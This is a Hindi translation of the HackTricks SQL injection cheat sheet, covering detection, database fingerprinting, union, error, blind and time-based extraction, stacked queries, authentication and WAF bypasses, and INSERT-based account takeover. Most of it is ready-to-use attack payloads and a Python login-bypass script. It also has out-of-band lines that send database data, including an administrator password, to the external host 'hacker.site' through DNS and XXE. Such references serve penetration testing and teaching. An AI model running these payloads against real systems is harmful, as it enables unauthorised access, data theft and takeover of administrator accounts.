41 KiB
Raw Blame History

SQL Injection

{{#include ../../banners/hacktricks-training.md}}

SQL इंजेक्शन क्या है?

एक SQL इंजेक्शन एक सुरक्षा दोष है जो हमलावरों को एक एप्लिकेशन के डेटाबेस क्वेरीज़ में हस्तक्षेप करने की अनुमति देता है। यह कमजोरियां हमलावरों को देखने, संशोधित करने या हटाने की अनुमति दे सकती हैं, जो उन्हें एक्सेस नहीं करनी चाहिए, जिसमें अन्य उपयोगकर्ताओं की जानकारी या कोई भी डेटा शामिल है जिसे एप्लिकेशन एक्सेस कर सकता है। ऐसे कार्य एप्लिकेशन की कार्यक्षमता या सामग्री में स्थायी परिवर्तन का परिणाम बन सकते हैं या यहां तक कि सर्वर का समझौता या सेवा का इनकार भी कर सकते हैं।

प्रवेश बिंदु पहचान

जब एक साइट SQL इंजेक्शन (SQLi) के लिए कमजोर प्रतीत होती है, जो SQLi-संबंधित इनपुट के प्रति असामान्य सर्वर प्रतिक्रियाओं के कारण होती है, तो पहला कदम यह समझना है कि क्वेरी में डेटा को बिना बाधित किए कैसे इंजेक्ट करें। इसके लिए वर्तमान संदर्भ से प्रभावी ढंग से बचने की विधि की पहचान करना आवश्यक है। ये कुछ उपयोगी उदाहरण हैं:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

फिर, आपको यह जानने की आवश्यकता है कि क्वेरी को कैसे ठीक करें ताकि कोई त्रुटियाँ न हों। क्वेरी को ठीक करने के लिए, आप डेटा इनपुट कर सकते हैं ताकि पिछली क्वेरी नए डेटा को स्वीकार कर सके, या आप बस अपना डेटा इनपुट कर सकते हैं और अंत में एक टिप्पणी प्रतीक जोड़ सकते हैं

ध्यान दें कि यदि आप त्रुटि संदेश देख सकते हैं या जब क्वेरी काम कर रही है और जब नहीं कर रही है, तो आप अंतर देख सकते हैं, तो यह चरण अधिक आसान होगा।

टिप्पणियाँ

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

तार्किक संचालन के साथ पुष्टि करना

SQL इंजेक्शन कमजोरियों की पुष्टि करने के लिए एक विश्वसनीय विधि तार्किक संचालन को निष्पादित करना और अपेक्षित परिणामों का अवलोकन करना है। उदाहरण के लिए, एक GET पैरामीटर जैसे ?username=Peter को संशोधित करके ?username=Peter' or '1'='1 करने पर समान सामग्री प्राप्त होना SQL इंजेक्शन की कमजोरी को इंगित करता है।

इसी तरह, गणितीय संचालन का उपयोग एक प्रभावी पुष्टि तकनीक के रूप में किया जाता है। उदाहरण के लिए, यदि ?id=1 और ?id=2-1 तक पहुँचने पर समान परिणाम उत्पन्न होते हैं, तो यह SQL इंजेक्शन का संकेत है।

तार्किक संचालन पुष्टि के उदाहरण:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

यह शब्द-सूची SQLinjections की पुष्टि करने के लिए बनाई गई थी:

{% file src="../../images/sqli-logic.txt" %}

समय के साथ पुष्टि करना

कुछ मामलों में आप पृष्ठ पर कोई परिवर्तन नहीं देखेंगे जिसे आप परीक्षण कर रहे हैं। इसलिए, ब्लाइंड SQL injections का पता लगाने का एक अच्छा तरीका है DB को क्रियाएँ करने के लिए मजबूर करना और इससे पृष्ठ के लोड होने के समय पर प्रभाव पड़ेगा।
इसलिए, हम SQL क्वेरी में एक ऐसा ऑपरेशन जोड़ने जा रहे हैं जो पूरा होने में बहुत समय लेगा:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

कुछ मामलों में sleep functions की अनुमति नहीं होगी। फिर, उन फ़ंक्शनों का उपयोग करने के बजाय, आप क्वेरी को जटिल संचालन करने के लिए बना सकते हैं जो कई सेकंड लेगी। इन तकनीकों के उदाहरण प्रत्येक तकनीक पर अलग से टिप्पणी की जाएगी (यदि कोई हो)

बैक-एंड की पहचान करना

बैक-एंड की पहचान करने का सबसे अच्छा तरीका विभिन्न बैक-एंड के फ़ंक्शनों को निष्पादित करने की कोशिश करना है। आप पिछले अनुभाग के sleep functions या इनका उपयोग कर सकते हैं (तालिका payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

यदि आपके पास क्वेरी के आउटपुट तक पहुंच है, तो आप इसे डेटाबेस का संस्करण प्रिंट करने के लिए बना सकते हैं।

Note

एक निरंतरता में, हम विभिन्न प्रकार के SQL Injection का शोषण करने के लिए विभिन्न विधियों पर चर्चा करने जा रहे हैं। हम उदाहरण के रूप में MySQL का उपयोग करेंगे।

PortSwigger के साथ पहचानना

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

यूनियन आधारित शोषण

कॉलम की संख्या का पता लगाना

यदि आप क्वेरी के आउटपुट को देख सकते हैं, तो यह इसका शोषण करने का सबसे अच्छा तरीका है।
सबसे पहले, हमें यह पता लगाना है कि प्रारंभिक अनुरोध कितने कॉलम वापस कर रहा है। इसका कारण यह है कि दोनों क्वेरियों को समान संख्या में कॉलम वापस करना चाहिए
इस उद्देश्य के लिए आमतौर पर दो विधियों का उपयोग किया जाता है:

ऑर्डर/ग्रुप द्वारा

क्वेरी में कॉलम की संख्या निर्धारित करने के लिए, ORDER BY या GROUP BY क्लॉज में उपयोग की जाने वाली संख्या को क्रमिक रूप से समायोजित करें जब तक कि एक गलत प्रतिक्रिया प्राप्त न हो। SQL में GROUP BY और ORDER BY की अलग-अलग कार्यक्षमताओं के बावजूद, दोनों का उपयोग क्वेरी के कॉलम की संख्या का पता लगाने के लिए समान रूप से किया जा सकता है।

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

जांच करें कि क्वेरी सही है या नहीं, इसके लिए अधिक से अधिक नल मान चुनें:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

आपको null मानों का उपयोग करना चाहिए क्योंकि कुछ मामलों में क्वेरी के दोनों पक्षों के कॉलम का प्रकार समान होना चाहिए और null हर मामले में मान्य है।

डेटाबेस नाम, तालिका नाम और कॉलम नाम निकालें

अगले उदाहरणों में हम सभी डेटाबेस के नाम, एक डेटाबेस की तालिका का नाम, तालिका के कॉलम नाम निकालने जा रहे हैं:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

हर अलग-अलग डेटाबेस पर इस डेटा को खोजने का एक अलग तरीका है, लेकिन यह हमेशा एक ही कार्यप्रणाली होती है।

छिपे हुए यूनियन आधारित का शोषण

जब एक क्वेरी का आउटपुट दिखाई देता है, लेकिन यूनियन-आधारित इंजेक्शन असंभव लगता है, तो यह छिपे हुए यूनियन-आधारित इंजेक्शन की उपस्थिति का संकेत देता है। यह परिदृश्य अक्सर एक ब्लाइंड इंजेक्शन स्थिति की ओर ले जाता है। एक ब्लाइंड इंजेक्शन को यूनियन-आधारित में बदलने के लिए, बैकएंड पर निष्पादित क्वेरी को पहचानना आवश्यक है।

यह आपके लक्षित डेटाबेस प्रबंधन प्रणाली (DBMS) के लिए विशिष्ट डिफ़ॉल्ट तालिकाओं के साथ ब्लाइंड इंजेक्शन तकनीकों का उपयोग करके किया जा सकता है। इन डिफ़ॉल्ट तालिकाओं को समझने के लिए, लक्षित DBMS की दस्तावेज़ीकरण की सलाह दी जाती है।

एक बार जब क्वेरी निकाली जाती है, तो आपके पेलोड को मूल क्वेरी को सुरक्षित रूप से बंद करने के लिए अनुकूलित करना आवश्यक है। इसके बाद, आपके पेलोड में एक यूनियन क्वेरी जोड़ी जाती है, जो नए सुलभ यूनियन-आधारित इंजेक्शन के शोषण की सुविधा प्रदान करती है।

अधिक व्यापक अंतर्दृष्टि के लिए, Healing Blind Injections पर उपलब्ध पूर्ण लेख को देखें।

त्रुटि आधारित का शोषण

यदि किसी कारणवश आप क्वेरी का आउटपुट नहीं देख सकते हैं लेकिन आप त्रुटि संदेश देख सकते हैं, तो आप इन त्रुटि संदेशों का उपयोग करके डेटाबेस से डेटा को एक्स-फिल्ट्रेट कर सकते हैं।
यूनियन आधारित शोषण में समान प्रवाह का पालन करते हुए, आप DB को डंप करने में सक्षम हो सकते हैं।

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Blind SQLi का शोषण

इस मामले में आप क्वेरी के परिणाम या त्रुटियों को नहीं देख सकते, लेकिन आप भेद कर सकते हैं जब क्वेरी सत्य या असत्य प्रतिक्रिया लौटाती है क्योंकि पृष्ठ पर विभिन्न सामग्री होती है।
इस मामले में, आप उस व्यवहार का दुरुपयोग करके डेटाबेस को अक्षर दर अक्षर डंप कर सकते हैं:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

यह पहले के मामले की तरह ही है लेकिन क्वेरी से सही/गलत प्रतिक्रिया के बीच भेद करने के बजाय आप भेद कर सकते हैं कि SQL क्वेरी में एक त्रुटि है या नहीं (शायद क्योंकि HTTP सर्वर क्रैश हो जाता है)। इसलिए, इस मामले में आप हर बार SQLerror को मजबूर कर सकते हैं जब आप सही अक्षर का अनुमान लगाते हैं:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

टाइम आधारित SQLi का शोषण

इस मामले में कोई तरीका नहीं है जिससे आप पृष्ठ के संदर्भ के आधार पर क्वेरी के प्रतिक्रिया को पहचान सकें। लेकिन, यदि अनुमानित अक्षर सही है तो आप पृष्ठ को लोड होने में अधिक समय ले सकते हैं। हमने पहले इस तकनीक का उपयोग SQLi vuln की पुष्टि करने के लिए देखा है।

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

आप स्टैक्ड क्वेरीज़ का उपयोग करके एक के बाद एक कई क्वेरीज़ को निष्पादित कर सकते हैं। ध्यान दें कि जबकि बाद की क्वेरीज़ निष्पादित होती हैं, परिणाम ऐप्लिकेशन को वापस नहीं किए जाते। इसलिए यह तकनीक मुख्य रूप से ब्लाइंड वल्नरेबिलिटीज के संबंध में उपयोगी है जहाँ आप एक दूसरी क्वेरी का उपयोग करके DNS लुकअप, शर्तीय त्रुटि, या समय विलंब को ट्रिगर कर सकते हैं।

Oracle स्टैक्ड क्वेरीज़ का समर्थन नहीं करता। MySQL, Microsoft और PostgreSQL उनका समर्थन करते हैं: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

यदि कोई अन्य शोषण विधि काम नहीं करती, तो आप डेटाबेस को जानकारी को आपके द्वारा नियंत्रित बाहरी होस्ट पर एक्स-फिल्ट्रेट करने का प्रयास कर सकते हैं। उदाहरण के लिए, DNS क्वेरीज़ के माध्यम से:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

XXE के माध्यम से आउट ऑफ बैंड डेटा एक्सफिल्ट्रेशन

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

स्वचालित शोषण

SQLMap Cheatsheet की जांच करें ताकि sqlmap के साथ SQLi कमजोरियों का शोषण किया जा सके।

तकनीकी विशिष्ट जानकारी

हम पहले ही SQL Injection कमजोरियों का शोषण करने के सभी तरीकों पर चर्चा कर चुके हैं। इस पुस्तक में कुछ और तकनीकें जो डेटाबेस प्रौद्योगिकी पर निर्भर हैं, खोजें:

या आप MySQL, PostgreSQL, Oracle, MSSQL, SQLite और HQL के बारे में बहुत सारी तकनीकें https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection में पाएंगे।

प्रमाणीकरण बायपास

लॉगिन कार्यक्षमता को बायपास करने के लिए प्रयास करने की सूची:

{{#ref}} ../login-bypass/sql-login-bypass.md {{#endref}}

कच्चे हैश प्रमाणीकरण बायपास

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

यह क्वेरी एक कमजोरियों को प्रदर्शित करती है जब MD5 को प्रमाणीकरण जांचों में कच्चे आउटपुट के लिए true के साथ उपयोग किया जाता है, जिससे सिस्टम SQL injection के प्रति संवेदनशील हो जाता है। हमलावर इसको इस तरह से भुनाने के लिए इनपुट तैयार कर सकते हैं जो, जब हैश किया जाता है, अप्रत्याशित SQL कमांड भागों का उत्पादन करता है, जिससे अनधिकृत पहुंच होती है।

md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!

इंजेक्टेड हैश प्रमाणीकरण बायपास

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

सिफारिश की गई सूची:

आपको सूची की प्रत्येक पंक्ति को उपयोगकर्ता नाम के रूप में और हमेशा पासवर्ड के रूप में उपयोग करना चाहिए: Pass1234.
&#xNAN;(ये पेलोड भी इस अनुभाग की शुरुआत में उल्लेखित बड़ी सूची में शामिल हैं)

{% file src="../../images/sqli-hashbypass.txt" %}

GBK प्रमाणीकरण बाईपास

यदि ' को स्केप किया जा रहा है तो आप %A8%27 का उपयोग कर सकते हैं, और जब ' को स्केप किया जाएगा तो यह बनेगा: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python स्क्रिप्ट:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

पॉलीग्लॉट इंजेक्शन (मल्टीकॉन्टेक्स्ट)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modify password of existing object/user

इसके लिए आपको "master object" नाम का एक नया ऑब्जेक्ट बनाने की कोशिश करनी चाहिए (संभवतः admin उपयोगकर्ताओं के मामले में) कुछ संशोधित करते हुए:

  • उपयोगकर्ता नाम बनाएं: AdMIn (बड़े और छोटे अक्षर)
  • एक उपयोगकर्ता नाम बनाएं: admin=
  • SQL Truncation Attack (जब उपयोगकर्ता नाम या ईमेल में कुछ प्रकार की length limit होती है) --> नाम के साथ उपयोगकर्ता बनाएं: admin [बहुत सारे स्पेस] a

SQL Truncation Attack

यदि डेटाबेस कमजोर है और उपयोगकर्ता नाम के लिए अधिकतम अक्षरों की संख्या उदाहरण के लिए 30 है और आप उपयोगकर्ता admin का अनुकरण करना चाहते हैं, तो एक उपयोगकर्ता नाम बनाने की कोशिश करें: "admin [30 स्पेस] a" और कोई भी पासवर्ड।

डेटाबेस जांच करेगा कि क्या प्रस्तुत उपयोगकर्ता नाम डेटाबेस के अंदर मौजूद है। यदि नहीं, तो यह उपयोगकर्ता नाम को अधिकतम अनुमत अक्षरों की संख्या (इस मामले में: "admin [25 स्पेस]") तक कट कर देगा और फिर यह स्वतः सभी स्पेस को अंत में हटा देगा डेटाबेस के अंदर उपयोगकर्ता "admin" को नए पासवर्ड के साथ अपडेट करेगा (कुछ त्रुटि उत्पन्न हो सकती है लेकिन इसका मतलब यह नहीं है कि यह काम नहीं किया है)।

अधिक जानकारी: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

नोट: यह हमला नवीनतम MySQL इंस्टॉलेशन में ऊपर वर्णित तरीके से काम नहीं करेगा। जबकि तुलना अभी भी डिफ़ॉल्ट रूप से ट्रेलिंग व्हाइटस्पेस की अनदेखी करती है, एक स्ट्रिंग डालने का प्रयास जो एक फ़ील्ड की लंबाई से अधिक है, एक त्रुटि का परिणाम देगा, और डालना विफल हो जाएगा। इस जांच के बारे में अधिक जानकारी के लिए: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

जितना आप समझते हैं, उतना ','','' जोड़ें ताकि VALUES स्टेटमेंट से बाहर निकल सकें। यदि देरी होती है, तो आपके पास एक SQLInjection है।

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

MySQL में ON DUPLICATE KEY UPDATE क्लॉज़ का उपयोग तब किया जाता है जब एक पंक्ति को डालने का प्रयास किया जाता है जो UNIQUE इंडेक्स या PRIMARY KEY में डुप्लिकेट मान का परिणाम देगा। निम्नलिखित उदाहरण दिखाता है कि इस सुविधा का उपयोग कैसे किया जा सकता है ताकि एक व्यवस्थापक खाते का पासवर्ड संशोधित किया जा सके:

Example Payload Injection:

एक इंजेक्शन पेलोड इस प्रकार तैयार किया जा सकता है, जहाँ users तालिका में दो पंक्तियाँ डालने का प्रयास किया जाता है। पहली पंक्ति एक धोखा है, और दूसरी पंक्ति एक मौजूदा व्यवस्थापक के ईमेल को लक्षित करती है जिसका उद्देश्य पासवर्ड को अपडेट करना है:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

यहाँ यह कैसे काम करता है:

  • क्वेरी दो पंक्तियाँ डालने का प्रयास करती है: एक generic_user@example.com के लिए और दूसरी admin_generic@example.com के लिए।
  • यदि admin_generic@example.com के लिए पंक्ति पहले से मौजूद है, तो ON DUPLICATE KEY UPDATE क्लॉज सक्रिय होता है, जो MySQL को मौजूदा पंक्ति के password फ़ील्ड को "bcrypt_hash_of_newpassword" में अपडेट करने के लिए निर्देशित करता है।
  • इसके परिणामस्वरूप, प्रमाणीकरण admin_generic@example.com का उपयोग करके bcrypt हैश ("bcrypt_hash_of_newpassword" नए पासवर्ड के bcrypt हैश का प्रतिनिधित्व करता है, जिसे इच्छित पासवर्ड के वास्तविक हैश से बदलना चाहिए) के साथ किया जा सकता है।

जानकारी निकालें

एक ही समय में 2 खाते बनाना

जब एक नया उपयोगकर्ता और उपयोगकर्ता नाम बनाने का प्रयास किया जाता है, तो पासवर्ड और ईमेल की आवश्यकता होती है:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

दशमलव या हेक्साडेसिमल का उपयोग करना

इस तकनीक का उपयोग करके आप केवल 1 खाता बनाकर जानकारी निकाल सकते हैं। यह ध्यान रखना महत्वपूर्ण है कि आपको कुछ भी टिप्पणी करने की आवश्यकता नहीं है।

hex2dec और substr का उपयोग करते हुए:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

पाठ प्राप्त करने के लिए आप उपयोग कर सकते हैं:

__import__('binascii').unhexlify(hex(215573607263)[2:])

हैक्स और रिप्लेस (और सब्स्ट्र) का उपयोग करते हुए:

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection एक ऐसी स्थिति है जहाँ injectable query वह नहीं होती जो आउटपुट देती है, बल्कि injectable query का आउटपुट उस query में जाता है जो आउटपुट देती है। (From Paper)

Example:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - whitespace विकल्पों का उपयोग करके बायपास

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

कोई व्हाइटस्पेस नहीं - टिप्पणियों का उपयोग करके बायपास करें

?id=1/*comment*/and/**/1=1/**/--

कोई व्हाइटस्पेस - पेरेंटेसिस का उपयोग करके बायपास करें

?id=(1)and(1)=(1)--

No commas bypass

No Comma - OFFSET, FROM और JOIN का उपयोग करके बायपास

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generic Bypasses

कीवर्ड का उपयोग करके ब्लैकलिस्ट - अपरकेस/लोअरकेस का उपयोग करके बायपास करें

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

कीवर्ड का उपयोग करते हुए ब्लैकलिस्ट केस-इंसेंसिटिव - समकक्ष ऑपरेटर का उपयोग करके बायपास करें

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

आप इस ट्रिक के बारे में अधिक गहन व्याख्या gosecure blog में पा सकते हैं।
बुनियादी रूप से, आप WAF को बायपास करने के लिए वैज्ञानिक संकेतन का अप्रत्याशित तरीकों से उपयोग कर सकते हैं:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

कॉलम नामों की सीमा को बायपास करें

सबसे पहले, ध्यान दें कि यदि मूल क्वेरी और वह तालिका जहाँ से आप ध्वज निकालना चाहते हैं, में समान संख्या में कॉलम हैं तो आप बस कर सकते हैं: 0 UNION SELECT * FROM flag

यह संभव है कि किसी तालिका के तीसरे कॉलम तक उसके नाम का उपयोग किए बिना पहुंचा जाए एक क्वेरी का उपयोग करके जैसे: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, तो एक sqlinjection में यह इस तरह दिखेगा:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

या कॉमा बायपास का उपयोग करके:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

यह ट्रिक https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ से ली गई थी।

WAF बायपास सुझाव उपकरण

{% embed url="https://github.com/m4ll0k/Atlas" %}

अन्य गाइड

ब्रूट-फोर्स डिटेक्शन सूची

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}

{{#include ../../banners/hacktricks-training.md}}